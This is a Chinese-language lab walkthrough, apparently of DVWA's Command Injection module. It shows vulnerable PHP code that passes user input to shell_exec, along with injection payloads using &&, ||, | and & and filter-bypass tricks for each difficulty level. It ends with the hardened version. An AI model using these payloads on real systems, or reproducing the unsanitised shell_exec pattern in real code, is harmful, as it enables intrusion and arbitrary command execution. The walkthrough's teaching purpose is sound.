Command Injection
命令注入
Low
源码解析
使用 $_REQUEST
获取 HTTP POST 请求提交的数据,未对其进行检查和过滤直接拼接到 ping
命令中。
shell_exec
用于通过 shell 环境执行指令,并将输出结果以字符串的形式返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
漏洞利用
shell 环境中用于拼接命令的符号有以下几个:
符号 | 说明
| -
&
| 前一条命令在后台运行
&&
| 当且仅当前一条命令执行成功后执行下一条命令
\|\|
| 当且仅当前一条命令执行失败后执行下一条命令
\|
| 将前一条命令的标准输出(stdout
)作为下一条命令的输入
;
| 无论前一条指令是否执行成功,都执行下一条指令
1 2 3 4 5 # ping 127.0.0.1 成功,继续执行 ifconfig 127.0.0.1&&ifconfig # 执行 ping 127.0.0.1 后继续执行 ifconfig 127.0.0.1;ifconfig
1 2 3 4 5 # ping a.b.c.d 失败,继续执行 ifconfig a.b.c.d||ifconfig # ifconfig 不接受输入 127.0.0.1|ifconfig
1 2 # ping 127.0.0.1 后台结束后返回 127.0.0.1&ifconfig
参阅
Medium
源码解析
在 Low 的基础上使用 str_replace
过滤符号 &&
和 ;
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; $substitutions = array ( '&&' => '' , ';' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
漏洞利用
||
、 |
、&
仍然可以使用,此外还可以使用 &&&
、 &;&
等,过滤后就变为 &
、 &&
,同样可以实现漏洞利用。
1 2 3 4 5 6 7 8 # ping a.b.c.d 失败,继续执行 ifconfig a.b.c.d||ifconfig # ifconfig 不接受输入 127.0.0.1|ifconfig # ping 127.0.0.1 后台结束后返回 127.0.0.1&ifconfig
参阅
High
源码解析
使用 trim
去除字符串首尾的空白字符,然后又过滤了许多符号,但是没有过滤 |
,显然可以利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = trim ($_REQUEST [ 'ip' ]); $substitutions = array ( '&' => '' , ';' => '' , '| ' => '' , '-' => '' , '$' => '' , '(' => '' , ')' => '' , '`' => '' , '||' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
漏洞利用
使用管道符 |
即可。
参阅
Impossioble
源码解析
使用 Anti-CSRF Token 来避免 CSRF 攻击,提交数据后先对 token 进行检查;然后使用 stripslashes
对提交的数据进行反转义,并用 explode
分割 ip 地址,再用 is_numeric
确保分割的每个部分都是数字,且只包含 4 个部分;最后拼接后再执行指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $target = $_REQUEST [ 'ip' ]; $target = stripslashes ( $target ); $octet = explode ( "." , $target ); if ( ( is_numeric ( $octet [0 ] ) ) && ( is_numeric ( $octet [1 ] ) ) && ( is_numeric ( $octet [2 ] ) ) && ( is_numeric ( $octet [3 ] ) ) && ( sizeof ( $octet ) == 4 ) ) { $target = $octet [0 ] . '.' . $octet [1 ] . '.' . $octet [2 ] . '.' . $octet [3 ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } else { echo '<pre>ERROR: You have entered an invalid IP.</pre>' ; } } generateSessionToken ();?>
参阅